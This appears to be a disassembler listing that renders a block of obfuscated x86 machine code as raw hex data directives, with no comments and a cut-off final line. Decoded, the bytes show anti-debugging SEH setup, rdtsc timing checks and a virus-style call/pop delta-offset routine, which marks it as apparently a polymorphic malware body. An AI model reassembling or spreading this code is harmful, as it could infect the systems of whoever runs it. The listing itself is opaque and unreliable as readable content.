58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 8B309AC3h, 0E000999Dh, 60006A07h, 4ED858Bh dd 858B07E0h, 7E01111h, 0DFBF0F61h, 344195FFh, 6A07E0h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 8D14D1C3h, 0E3A3938Dh, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0B1EE9535h dd 61C56554h, 8D89D1FFh, 7E029F1h, 16B1BD83h, 0F0107E0h dd 4D85h, 0F9B70F00h, 6A026AF8h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 416FC351h, 0EE950B0h dd 0C000000h, 0A686D859h, 0BBDBFB80h, 7CA3494Fh, 2404890Fh dd 10899D8Bh, 95FF07E0h, 7E02A99h, 339D8D89h, 2E907E0h dd 0E800000Eh, 0 aBa1xJ db ']í´1å',7,'j',0 db 50h, 0E8h, 3 dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 31BC350h, 0E011E99Dh, 63858D07h, 6A07E394h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0E0A4C353h, 0D0B7A4ACh, 0A2D7BB03h, 28F5BD89h, 8B5007E0h dd 240489F9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 90C35040h, 4591AD94h, 14E823h, 61E90000h, 0AB2903DEh dd 98489A33h, 0ADB964B7h, 2847A9E4h, 8B66D9F0h, 840F5FDFh dd 1, 35FF64F9h, 0 dd 28A0Fh, 0DA8A0000h, 0E0D0BF66h, 258964h, 31000000h dd 0E02C598Dh, 0FD85FF07h, 6607E020h, 0B8F4EB81h, 6AFF6Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 9ED0FCC3h, 0BF5E0385h, 0FF997FA6h, 0E022E5B5h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 7AAA2B60h, 0FE78175h, 95FFFBB7h, 7E03389h, 0F7E9h, 0B0F500h dd 8B6670E6h, 8B71E4FAh, 0F613CDEh, 0E383h, 38B0F00h, 51000000h dd 85895BFCh, 7E00709h, 66C8B60Fh, 0BA9E8ABBh, 6, 2066BB66h dd 6060C18Bh, 0A0F2BB66h, 3235C781h, 8161369Ch, 0E9C7DBD7h dd 0E8C16155h, 399D2904h, 6607E004h, 870FE2F7h, 3, 2BF9BF0Fh dd 0BE960C8h, 0FC000000h, 80C6F273h, 0C9CCCEDBh, 8B665B43h dd 0D18B61CBh, 6860Fh, 85890000h, 7E02FF1h, 6FE9h, 4C858B00h dd 89505F4Ch, 0E0238DB5h, 0F9BF0F07h, 0F07C083h, 685h dd 74EB8100h, 661F36A2h, 0C083DF8Bh, 0C8BF6600h, 0FD03BAEh dd 1583h, 6870F00h, 29000000h, 0E01C759Dh, 2EE907h, 0BF660000h dd 8D8B1375h, 0FFFFFFFFh, 0E183E6B3h, 19840F01h, 83000000h dd 0FFFFFFA5h, 9D89FEFFh, 7E03401h, 4C4C9589h, 0E9F5505Fh dd 0 aNZpfJ db 'µ‡¯ä',7,'j',0 dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 528FEFC3h, 7E8A8h, 0C56B0000h, 90E3EE57h, 19BD8B54h dd 5B07E029h, 8B66006Ah, 0AE9DAh, 392B0000h, 0D0E6F129h dd 0E2DB1458h, 18A995FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 9D8B57C3h, 7E02429h dd 0FB5B9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0E634F08Dh, 0FEE7AFDh, 684h, 35BD8B00h dd 8307E013h, 9D8BFCE1h, 7E01FDDh, 8B0FFCh, 2B000000h dd 816657C0h, 5BF48DCBh, 0BAh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 95BD89FDh dd 8907E025h, 0E02B29BDh, 0C233AD07h, 0D003E8D1h, 7504E983h dd 55006AF4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 98CFD18h, 0E0019195h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0A59C2DEBh dd 31CA7726h, 0D9BD8B8Fh, 0E807E021h, 5, 7ACA0672h, 65958995h dd 5B07E030h, 880Dh, 0AD9D0B00h, 8B07E02Dh, 0E0181595h dd 599D8907h, 8B07E029h, 0E020498Dh, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8B50D9D6h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 74C35242h, 0F98B591Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 79C35343h dd 0A9F8CDB1h, 0D3ECA413h, 837FD780h, 0E012F5BDh, 840F0007h dd 60h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h dd 0ADC35646h, 9D5D6186h, 0B8D9h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 6DDEA3C3h dd 8B29DD2Ah, 0E02E11BDh, 0E88D8D07h, 8907E04Eh, 0E034319Dh dd 0BBE1FF07h, 18AB8761h, 22C5BD83h, 0F0007E0h, 46F84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0B4559372h, 2FC1BD8Bh, 0BD8307E0h, 7E022C5h dd 58840F01h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 6872C357h, 83F9856Ch dd 0E022C5BDh, 860F0307h, 3F5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0D4C35141h, 319D8B37h, 8907E018h dd 0E005458Dh, 0A19D0907h, 6007E015h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 45C35545h, 12E945A6h, 0F0000000h dd 9713C2E4h, 0B79DDBC5h, 5F7CD353h, 824E26AAh, 0D98C667Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 41C35040h dd 80E3D380h, 10E804E1h, 88000000h, 0B3403FBh, 5CD33392h dd 7A1B5288h, 8B12889Ch, 0C90A5FD8h, 113840Fh, 0B4600000h dd 0A59D0123h, 6107E021h, 3399858Bh, 6A07E0h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0E2F3EC3h dd 899D8912h, 3307E01Eh, 0E0318985h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 7E90228h, 83000000h dd 0B95B6032h, 850F30AAh, 5, 0DEEF8166h, 52505064h, 7E8h dd 0AF0DB800h, 0D4845D4h, 0F5F6160h, 5AE7B731h, 24048958h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 44C35747h dd 81663026h, 6A7DA1C7h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0CD4B164Bh, 0B7E90DFAh dd 8D8971FFh, 7E01C9Dh, 8C989568h, 5AEABB1Ch, 3481137Fh dd 939B6A24h, 68D0F1Ch, 8B000000h, 0E021D59Dh, 0CD95FF07h dd 8B07E021h, 0E02B5DBDh, 0AD858907h, 0F907E3CBh, 175E9h dd 73B75300h, 0A5858B5Fh, 0B707E3CBh, 1800C750h, 0BF000000h dd 78318880h, 0B58B85B7h, 7E3CBA9h, 1AC99D8Bh, 858B07E0h dd 7E005F9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0A0C35040h, 0E95334CBh, 10h, 58ACF4A4h, 0CD0A29F0h dd 76166CC3h, 17F5E43h, 5850Fh, 0BDBB0000h, 895AC0E3h dd 0B5BD8B06h, 8B07E033h, 0E0339985h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 89C7A697h, 0BB660446h, 505024FCh, 28E0F52h, 60000000h dd 0E8310F61h, 13h, 0F7A041Fh, 0EB6E8D06h, 0F1635387h dd 456AE418h, 66503E8Eh, 5A5BD88Bh, 24348958h, 8E0Fh, 85890000h dd 7E0061Dh, 0CBA5B5FFh, 6A07E3h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 79C972C3h, 658D29C0h dd 6807E033h, 0DC649FBh, 0FCBF6657h, 34815B54h, 0D94A0424h dd 51006A0Dh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0E3650215h, 0AD858DD1h, 6A07E3CBh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 17BDC353h, 905B04AEh, 157DBF66h, 0F88B6650h, 71858990h dd 0FF07E02Dh, 0E021CD95h, 0E7816607h, 6A6116BFh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 9B7BC353h, 13B3C4D3h, 66BE4316h, 0D18FCF81h, 22C585C7h dd 307E0h, 0FE80000h, 0A8000000h, 0E1A9265Fh, 26B8F568h dd 7D19F2ACh, 860F5831h, 3, 5B49E380h, 0CBADBD83h, 0F0007E3h dd 6884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 60F0194Fh, 0DAFE3269h, 0BE9B5CCh dd 0AA000000h, 64F81297h, 0EA651398h, 49E9F6CBh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 5BB4C351h, 0D82379Dh, 0DD9D8B01h, 8907E02Ch dd 0E0228D85h, 0C305007h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 46C35747h, 1AA9E1B8h, 0FB4DD57h, 6AFBB7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 84572BC3h, 0E88D792Ch, 14h, 3FFC7236h, 2FF19066h, 3ED8611Bh dd 12A590FAh, 0F6EFF0EEh, 0A076CF81h, 895B59F7h, 0E01D6D8Dh dd 0C5BD8307h, 307E022h, 441850Fh, 8D890000h, 7E02381h dd 0CBADBD83h, 0F0007E3h, 42E84h, 959D2300h, 0B707E000h dd 0ADB5FFCDh, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0B51BC352h, 7939DBA1h dd 7590EB81h, 0B5296DE7h, 7E01A69h, 1DA995FFh, 958907E0h dd 7E01A31h, 0CBA1B58Bh, 860F07E3h, 6, 5F0EDF81h, 0BD8938AEh dd 7E0335Dh, 106C7h, 6A0001h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 9A3C39C3h dd 126E221Bh, 0BD8955A9h, 7E00795h, 0DEDBD8Bh, 665007E0h dd 89EADABFh, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0A1A4F6C3h, 0F15BD874h, 0B5895180h dd 7E02DF5h, 0ADB5FF5Fh, 0E907E3CBh, 13h, 0E95AE2E9h, 82AE8DC6h dd 5DBB311Eh, 0DDB787FFh, 918F3D4h, 0E02A95B5h, 1195FF07h dd 6A07E030h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0A346C353h, 81541493h, 969D4BDBh dd 0A1B58B68h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0B221C352h, 698D01D4h dd 0F807E023h, 22D1858Bh, 9E807E0h, 41000000h, 0FF09CA7Fh dd 381AF093h, 6810Fh, 9D8B0000h, 7E023D9h, 0C486895Bh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0F23C357h, 198Dh, 14E900h, 0FAF20000h dd 18C913DCh, 0F902214Ch, 748BC744h, 0B43798Ah, 958B0E13h dd 7E01815h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0C0C35343h, 0F9312039h, 8904C283h, 0E0344DB5h dd 20508907h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 4CC35545h, 1B05D1B2h, 419D8B87h, 0F507E015h, 0E0D4858Dh dd 6A07E3h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0B70585C3h, 22ED9D0Bh, 6EBB07E0h, 89576118h dd 0B886h, 6A006A00h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0E879C353h, 0Dh, 0ED2C5878h, 0D76F2ED1h dd 4C81B866h, 0AD8D31F8h, 5B07E00Fh, 0CBADB5FFh, 6FB707E3h dd 2A9995FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 91F2B4C3h, 76DF81BCh, 0E965AE31h dd 6, 0B66E9E8Bh, 669683B2h, 508719BFh, 96BA6660h, 6A966142h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0BEE5C357h, 0FF698F4Ch, 0E3CBADB5h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0B1E86448h, 1D3F28Eh, 0E02681B5h, 96BB6607h, 0E995FF28h dd 0FC07E028h, 28E1BD83h, 0F0007E0h, 5D84h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 29795056h, 37E7AC31h, 816694ECh, 50F681DBh, 6A243489h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 5648C353h, 34004281h, 60500176h, 29DBB70Fh dd 0E0006595h, 0B5FF6107h, 7E3CBADh, 68E0Fh, 0BD030000h dd 7E00FA1h, 3595FFFCh, 8B07E030h, 0E007D59Dh, 0ADB5FF07h dd 2B07E3CBh, 0E011219Dh, 0B995FF07h, 0E907E001h, 11h dd 0B5AB483h, 9B208348h, 0AD092846h, 463877F4h, 31BD837Fh dd 207E007h, 54840Fh, 8B660000h, 39858BFEh, 6A07E020h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 8A3EC351h, 876DFD6Bh, 0C6B275B5h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 38CD71C3h, 0BE1AC69Ch, 85C7C61Bh, 7E0043Dh, 0 dd 0E9FA8B66h, 0FFFFF2E0h, 8B0FC18Bh, 5, 7BCB8166h, 0C9858D5Dh dd 0E907E013h, 8, 1ACD6BBAh, 81A906F3h, 66525050h, 310FD88Bh dd 61605250h, 585A310Fh, 489585Ah, 0B5316024h, 7E02535h dd 29598D8Bh, 6A6107E0h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 204016FEh, 8736EA7Eh dd 0B75B53B4h, 66006A32h, 858DFB8Bh, 7E5410Fh, 5317DF81h dd 0C083402Ch, 0DBD8B05h, 9007E029h, 8A50FD8Ah, 6A90F8h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0B3AE03C3h, 6A006A61h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 9C88C355h, 128E1136h dd 31006A89h, 0E010B585h, 4195FF07h, 8D07E034h, 0E3A3938Dh dd 0E5853107h, 0FF07E01Ah, 50006AD1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 2E9FB1BBh dd 229FD50Dh, 0BD83478Ah, 7E016B1h, 4C850F01h, 0F000000h dd 26ADBBFh, 8B6650F8h, 240489F9h, 6870Fh, 9D8B0000h, 7E026A9h dd 0D9BD8Bh, 95FF07E0h, 7E02A99h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0D4C35141h, 0D2BA1877h, 0FD9D8953h dd 0E907E02Fh, 0D9Fh, 0E8h, 0ED815D00h, 7E54119h, 1031BD89h dd 816607E0h, 66CF06C3h, 9148DF81h, 9463858Dh, 9D8907E3h dd 7E02A2Dh, 4F59D8Bh, 0F5007E0h, 228Ch, 0E8525000h, 10h dd 1D2D126Ah, 5D26DB58h, 53225E3Ch, 0DF6AC66Ch, 0F310F5Bh dd 8Dh, 89585A00h, 8B662404h, 0C3BF66DFh, 35FF6437h, 0 dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 2895C355h, 9E9h, 0D05BC900h dd 15666A67h, 85FFE940h, 7E020FDh, 0DE9h, 3DD53B00h, 3A28817Ch dd 0A89E7D14h, 0FF6AC083h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 7BC35343h, 0E4DE88D8h, 98FECE0h, 0D8D898Ah dd 0FF07E032h, 0E007B9B5h, 8995FF07h, 0E907E033h, 13Eh dd 0EE960h, 20740000h, 6DD56BE2h, 0BC1E472Fh, 94495640h dd 131D9501h, 0B06107E0h, 0C3816600h, 70E67B8Eh, 71E4FE8Bh dd 1B759D8Bh, 613C07E0h, 108830Fh, 0FFC0000h, 0F98BC8B6h dd 0D68B6660h, 6BA61FCh, 66000000h, 8BE155BFh, 10E9C1h dd 0B5F40000h, 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h, 0BE9B0BCh dd 55000000h, 4971C479h, 342C22Dh, 0E8C116ADh, 0E2F76604h dd 185D8589h, 0C82B07E0h, 26B98D89h, 0D18B07E0h, 0F284BF66h dd 0ADE9h, 0E9BD8900h, 8B07E01Ch, 47554C85h, 83F98B49h dd 0DE907C0h, 73000000h, 0B318E0Eh, 8F9C8FD9h, 7A0DC539h dd 1D8D89h, 0C08307E0h, 0F3F78100h, 3B73D80Ah, 1F830FD0h dd 9000000h, 0E0251D95h, 68E907h, 0FE90000h, 0F2000000h dd 0A7F4DD17h, 0CD27C866h, 8AFFAA1Eh, 8D8B7C92h, 0FFFFFFFFh dd 69858B60h, 8007E015h, 83612BE5h, 840F01E1h, 3Ah, 12E9h dd 0D661200h, 6AA7781Dh, 93998E26h, 995C92AAh, 83F2B8E1h dd 0FFFFFFA5h, 9D03FEFFh, 7E01195h, 554C9589h, 9D8B4947h dd 7E01005h, 1A56EEBFh, 0E913h, 0B58D0000h, 7E4BF3Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0EBC35141h, 6A71F070h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 25150DEEh, 10618D89h, 0BD8B07E0h, 7E0004Dh dd 18A995FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0BB6677C3h, 0E4B9C008h, 6A00000Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 5435C350h, 2E896999h, 0FE8B6657h, 1DC7BB66h dd 81FCE183h, 2E69A2D3h, 6AFC0Dh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E9E302C3h, 0Ch, 33452159h dd 8FFF958Ch, 74FD90E2h, 0B8h, 5D9D8B00h, 0BA07E023h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 44C35343h dd 0A7F19862h, 1C29DA1Dh, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 73C35242h dd 0FAF0247h, 68Fh, 719D8B00h, 0E907E016h, 13h, 0D976FCDBh dd 0D200304Ch, 84DDA731h, 776EC1F2h, 8B92FF02h, 0E019119Dh dd 880D07h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 822A10C3h, 0C7AC91C2h, 958BC563h dd 7E01815h, 0B5BD8B52h, 5B07E033h, 20498D8Bh, 6A07E0h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 2FA141C3h, 0F6B7E381h, 8B504C0Eh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 9E9h, 1AA84F00h, 6D06EF80h, 0BD8B36E2h dd 7E02AF1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0B9C35242h, 0F5BD8372h, 7E012h, 0D9840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 2BA960C3h, 38F0Fh, 0B70F0000h, 0B8F8h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 231846C3h, 7F63214Fh, 0F517D3BCh, 1B8B0Fh, 8B0F0000h dd 15h, 0FE8h, 4A200C00h, 521FDCA6h, 5FE58F18h, 3FC6FB5Dh dd 0E88D8D5Bh, 6A07E04Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 4E6AC352h, 88B867BEh dd 0A19FAA3Eh, 2F0D8D89h, 6E907E0h, 6000000h, 0E3D5397Fh dd 6AE1FF41h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 9EC0C352h, 9A4FB6B5h, 79BD8B2Ch dd 8307E007h, 0E022C5BDh, 840F0007h, 422h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C7C35343h, 89117A0Eh dd 0E005DD9Dh, 0C5BD8307h, 107E022h, 40B840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 25EDD8C3h, 0CE20703Bh, 0BD833C0Bh, 7E022C5h, 0A4860F03h dd 8B000003h, 0E016B5BDh, 13E96007h, 7B000000h, 0CA13872Bh dd 2C0AAE45h, 0C935B547h, 0B83E269Ah, 8C668229h, 57006AD9h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 9D8BD7D0h, 7E01A85h, 8B04E180h, 0E02665BDh, 0FC90A07h dd 13284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 64578BA8h, 38F48059h, 8BF8F5DDh dd 0E0339985h, 68D0F07h, 0B000000h, 0E030719Dh, 89853307h dd 0E807E031h, 14h, 0CD059B35h, 781AB004h, 0A2E360EAh dd 0C5BCB975h, 87833D92h, 0BB66905Bh, 0E8509C4Eh, 13h dd 0B0889AF3h, 0D7CC9CDEh, 0ECEC6F7Dh, 0AF7D97FBh, 50E25FC4h dd 0D88B6652h, 585A310Fh, 6E9905Bh, 0CD000000h, 0C0AB28A8h dd 6A006AF1h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0E99FC357h, 11h, 84C9A72Dh, 51ACDBAEh dd 0A0298CDh, 0D2AD27E8h, 9E87Ch, 0E9800000h, 2E012C2Ch dd 346B41Fh, 0E021E59Dh, 8D295F07h, 7E01B61h, 0C13FE668h dd 240481E7h, 185DC419h, 0EE8h, 10D60800h, 8F3A459Eh, 0E593AF7h dd 50E3B394h, 8D0Fh, 5B5F0000h, 21CD95FFh, 0BE807E0h, 0F3000000h dd 9B2C3EB2h, 57E11EF2h, 816645EAh, 5FB645CFh, 0CBAD8589h dd 0CEBB07E3h, 0E942F322h, 1AFh, 8BFAB70Fh, 0E3CBA585h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0E559034Eh, 9D8B4CB9h, 7E00511h, 0F6C6E381h dd 0C76A52h, 18h, 0CBA9B58Bh, 6A07E3h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 91BF3FC3h dd 59BD2987h, 8B07E026h, 0E005F985h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0B9F7247Dh dd 9AC3134Eh, 7DBD0938h, 8907E02Bh, 0DE8B6606h, 3399858Bh dd 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 687FAFC3h, 0A4C69E73h, 0BD8B1BF1h, 7E02EE9h dd 89DF8B66h, 22BF0446h, 963AAD12h, 5BFD8A52h, 97BF6650h dd 6A9621h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0F991F9C3h, 0BEF2FBE9h, 0DEB70FA3h, 74D9D2Bh dd 0B5FF07E0h, 7E3CBA5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 9FC35646h, 5D8AA668h, 2513BB56h, 348153D4h dd 42895924h, 5952956h, 8D07E014h, 0E3CBAD85h, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0BE4F1A31h, 0BF0F5B76h, 0D5B589D9h, 5007E007h, 0F240489h dd 95FFDFB7h, 7E021CDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0B3C35343h, 9D5AFEB2h, 2100F520h, 2595896Eh dd 6107E016h, 0C7F98B66h, 0E022C585h, 307h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0C3393525h, 0BD29F4B8h, 7E00495h, 0CBADBD83h, 0F0007E3h dd 2E84h, 0BD9D8900h, 0E907E018h, 3Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 7CC35040h, 2C153A0Bh, 501097B8h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 0DD8AC08Bh, 8D896060h, 7E018C9h, 0EE9h, 6BD0AF00h, 27F4963h dd 0B903EEB7h, 61C88842h, 666138B2h, 833CCEBFh, 0E022C5BDh dd 850F0307h, 3D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 2EC35646h, 0BCC56EFFh, 83803D51h, 0E3CBADBDh dd 840F0007h, 3A1h, 16C58589h, 0B5FF07E0h, 7E3CBADh, 11999D03h dd 95FF07E0h, 7E01DA9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 7BC35343h, 8BD496FCh, 0E3CBA1B5h, 498D8907h dd 0C707E008h, 1000106h, 96F88B00h, 96B612BBh, 6DBB5061h dd 96190FB1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 95C35040h, 604C3F62h, 5E8F5h, 9BCE0000h, 1618524h dd 0E0237985h, 0FF615907h, 0E3CBADB5h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 4D9D23D8h, 6607E007h, 0FF2FFDBBh, 0E0301195h, 5800F07h dd 66000000h, 67A4EB81h, 0CBA1B58Bh, 858907E3h, 7E00769h dd 22D1858Bh, 8D8907E0h, 7E00595h, 0C48689h, 0BD8B0000h dd 7E01CE9h, 1815958Bh, 800F07E0h, 0Ch, 68E0Fh, 8D090000h dd 7E030E9h, 6A04C283h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 5C28C351h, 50891ECFh dd 50006A20h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 8ADDB05Dh dd 0D4858DF9h, 8907E3E0h, 0B886h, 999D8900h, 6A07E010h dd 0EE900h, 4130000h, 35FF5BAEh, 0AD19828Bh, 0C37E2B44h dd 0CBADB5FFh, 0BD8907E3h, 7E02541h, 2A9995FFh, 8E807E0h dd 0F0000000h, 5B93381Ah, 0FFA2E22h, 505BFEB7h, 6A243489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 5999C357h, 0BEE58CA3h, 89698F4Ch, 0E01AEDBDh dd 0ADB5FF07h, 6A07E3CBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 8B0FC351h, 9263FBCh dd 4DC455E3h, 28E995FFh, 6A07E0h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0A3A2F9C3h, 0B3F9A14Fh dd 0E1BD8333h, 7E028h, 60840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 891837C3h dd 0E02DA99Dh, 69B58907h, 9607E008h, 0F501DB3h, 282h, 961BB300h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0E5C35545h dd 84A84972h, 0CC4470DFh, 21859D8Bh, 0B5FF07E0h, 7E3CBADh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5BC35141h dd 0E4E412EBh, 83B40A86h, 0F58FBF66h, 303595FFh, 6A07E0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 2E8690C3h, 0F5448696h, 0CBADB5FFh, 0BD8B07E3h, 7E00DDDh dd 1B995FFh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 